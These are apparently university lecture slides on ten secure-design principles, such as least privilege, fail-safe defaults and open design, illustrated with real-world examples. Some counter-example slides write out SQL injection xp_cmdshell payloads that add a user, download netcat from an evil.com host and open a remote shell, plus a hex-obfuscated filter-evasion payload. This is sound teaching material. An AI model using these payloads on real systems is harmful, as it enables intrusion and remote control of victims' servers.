Principles of Designing Secure Systems

CPEN 442
learning objectives

• explain the principles
• recognize the principles in real-world designs
• explain which should (have been) be applied
What Do you Already Know?

- What principles of designing secure systems do you already know?
- What anti-principles do you know?
  - “security through obscurity”
  - m&m security

source: candyrific.com
Principles

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
4. Complete Mediation
5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
9. Defense in depth
10. Question assumptions
Overarching Goals

- **Simplicity**
  - Less to go wrong
  - Fewer possible inconsistencies
  - Easy to understand

- **Restriction**
  - Minimize access
    - “need to know” policy
  - Inhibit communication to minimize abuse of the channels
Principle 1: Least Privilege

Every program and every user of the system should operate using the least set of privileges necessary to complete the job

- Rights added as needed, discarded after use
- Limits the possible damage
- Unintentional, unwanted, or improper uses of privilege are less likely to occur
- Guides design of protection domains
Example: Privileges in Operating Systems

- Until Windows NT, all privileges for everybody
- Separate admin (a.k.a., root) account on Windows and Unix
- Ways to switch between accounts
- IIS account in Windows Server 2003
implementations of PLP in XP and 7

Low Privilege User Account (LUA)

- Mysticgeek
  - Administrator
  - Password protected

- Johnny
  - Standard user

- Guest
  - Guest account is off

User Account Control (UAC)

- User logs in with admin account
- User login with non-admin account

- Each process runs with non-admin privileges
- A process wants to do an admin action
- A UAC prompt is triggered
Windows administrative application

Signed application

Unsigned application
UAC prompt for admin account

UAC prompt for non-admin account
Differentiation between assigned and activated roles

Example: role-based access control

- Manager
  - Senior Administrator
  - Administrator
  - Employee
  - Senior Engineer
  - Engineer
Example: IIS in Windows Server 2003

- before -- all privileges
- in Windows Server 2003 and later -- low-privileged account
Counter-example: SQL Injection Remote Command Execution

- Web application uses ‘sa’ for database access, and SQL server is running using System account

- `exec master..xp_cmdshell 'net user hacker 1234 /add' --`

- `exec master..xp_cmdshell 'tftp -i www.evil.com GET nc.exe c:\temp\nc.exe' --`

- `exec master..xp_cmdshell 'c:\temp\nc.exe -l -p 4444 -d -e cmd.exe' --`
Principle 2: Fail-Safe Defaults

Base access decisions on permission rather than exclusion.

suggested by E. Glaser in 1965

• Default action is to deny access

• If action fails, system as secure as when action began
Example: IIS in Windows Server 2003

crashes if attacked using buffer overflow
example: memory address space randomization

- process crashes when shell code jumps to a predefined address
Example: white-list filter

- ASP.NET XSS filter: allows [a-Z][A-z][0-9]
- Prevents a broad range of injection attacks
- If action fails (i.e., request contains special characters), system as secure as when action began
Counter-example: blacklist filter

- filter out xp_xcmdshell

  - `exec master..xp_cmdshell 'net user hacker 1234 /add'`--

  ```
  /* */declare/* *//*@x*/ */as/* */
  */varchar(4000)*/ */set/* */
  */@x=convert(varchar(4000),
  0x6578656320206D61737465722E2E78705
  F636D64736D647368656C6C20276E657420757365
  72206861636B6F62202F6164642027)*/
  */exec/* */(@(x)--)```
Principle: Economy of Mechanism

Keep the design as simple and small as possible.

- KISS Principle

- Rationale?
  - Essential for analysis
  - Simpler means less can go wrong
  - And when errors occur, they are easier to understand and fix
Example: Trusted Computing Base (TCB)

- temper-proof
- non-bypassable
- small enough to analyze it
counter-example: triggering vulnerabilities in Windows Explorer

- demo video: http://www.youtube.com/watch?v=2poufBYBBoo
Principle 4: Complete Mediation

Every access to every object must be checked for authority.

If permissions change after, may get unauthorized access.
Example: .rhosts mechanism abused by Internet Worm

Access to one account opened unchecked access to other accounts on different hosts
Example:
Multiple reads after one check

- Process rights checked at file opening
- No checks are done at each read/write operation
- Time-of-check to time-of-use
example: privilege escalation via hard or symbolic links

- /var/mail -- often group or world writable
- a user can create link
  /var/mail/root --> /etc/passwd
- mail delivery program:
  - open /var/mail/root
  - check if /var/mail/root is a symbolic link
  - write the mail content
Kerckhoff’s Principle

“The security of a cryptosystem must not depend on keeping secret the crypto-algorithm. The security depends only on keeping secret the key”

Auguste Kerckhoff von Nieuwenhof
Dutch linguist
1883
Principle 5: Open Design

Security should not depend on secrecy of design or implementation

P. Baran, 1965

- no “security through obscurity”
- does not apply to secret information such as passwords or cryptographic keys
Example: secretly developed GSM algorithms

- COMP128 hash function
- later found to be weak
  - can be broken with 150,000 chosen plaintexts
- attacker can find GSM key in 2-10 hours
- A5/1 & A5/2 weak
### Example: Content Scrambling System

<table>
<thead>
<tr>
<th>DVD content</th>
<th>1999</th>
</tr>
</thead>
<tbody>
<tr>
<td>• SecretEncrypt($K_D, K_{p1}$)</td>
<td>• Norwegian group derived SecretKey by using $K_{p_i}$</td>
</tr>
<tr>
<td>• ...</td>
<td>• Plaintiff’s lawyers included CSS source code in the filed declaration</td>
</tr>
<tr>
<td>• SecretEncrypt($K_D, K_{pn}$)</td>
<td>• The declaration got out on the internet</td>
</tr>
<tr>
<td>• Hash($K_D$)</td>
<td></td>
</tr>
<tr>
<td>• SecretEncrypt($K_T, K_D$)</td>
<td></td>
</tr>
<tr>
<td>• SecretEncrypt(Movie,$K_T$)</td>
<td></td>
</tr>
</tbody>
</table>
Principle 6: Separation of Duty

Require multiple conditions to grant privilege

R. Needham, 1973

Separation of privilege
example: SoD constraints in RBAC

• static SoD
  
  • if a user is assigned role “system administrator” then the user cannot be assigned role “auditor”

• dynamic SoD
  
  • a user cannot activate two conflicting roles, only one at a time
Principle 7: Least Common Mechanism

Mechanisms should not be shared

- Information can flow along shared channels in uncontrollable way
- Covert channels
- solutions using isolation
  - Virtual machines
  - Sandboxes
example: network security

- switches vs. repeaters
- security enclaves
Security mechanisms should not add to difficulty of accessing resource

- Hide complexity introduced by security mechanisms
- Ease of installation, configuration, use
- Human factors critical here
example: Switching between user accounts

- Windows NT -- pain in a neck
- Windows 2000/XP -- “Run as …”
- Unix -- “su” or “sudo”
reminder: PLP in Windows Vista and 7

Low Privilege User Account (LUA)

Mysticgeek
Administrator
Password protected

Johnny
Standard user

Guest
Guest account is off

User Account Control (UAC)

User logins with admin account
Each process runs with non-admin privileges
A process wants to do an admin action
A UAC prompt is triggered

User logins with non-admin account
Windows administrative application

Signed application

Unsigned application
When is PLP followed?

- **UAC**
  - **Off**
    - Admin: 20%
    - Standard: 0%
  - **On**
    - Admin
    - Respond to prompts correctly: 27%
    - Respond to prompts incorrectly: 49%
    - Standard
      - Respond to prompts correctly: 0%
      - Respond to prompts incorrectly: 0%

**Legend**
- **Green** PLP is followed
- **Red** PLP is not followed
Principle 9:
Defense in Depth

Layer your defenses
example: Windows Server 2003

<table>
<thead>
<tr>
<th>Potential problem</th>
<th>Mechanism</th>
<th>Practice</th>
</tr>
</thead>
<tbody>
<tr>
<td>Buffer overflow</td>
<td>defensive programming</td>
<td>check</td>
</tr>
<tr>
<td>Even if it were vulnerable</td>
<td>IIS 6.0 is not up by default</td>
<td>no extra functionality</td>
</tr>
<tr>
<td>Even if IIS were running</td>
<td>default URL length 16 KB</td>
<td>conservative limits</td>
</tr>
<tr>
<td>Even if the buffer were large</td>
<td>the process crashes</td>
<td>fail-safe</td>
</tr>
<tr>
<td>Even if the vulnerability were exploited</td>
<td>Low privileged account</td>
<td>least privileged</td>
</tr>
</tbody>
</table>
Principle 10: Question Assumptions

Frequently re-examine all the assumptions about the threat agents, assets, and especially the environment of the system.
Example:
GSM Network Architecture

Circuit-switched technology
Example: Assumptions, Assumptions, ...

- ident
- finger protocol
Principles

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
4. Complete Mediation
5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
9. Defense in depth
10. Question assumptions
learning objectives

• explain the principles
• recognize the principles in real-world designs
• explain which should (have been) be applied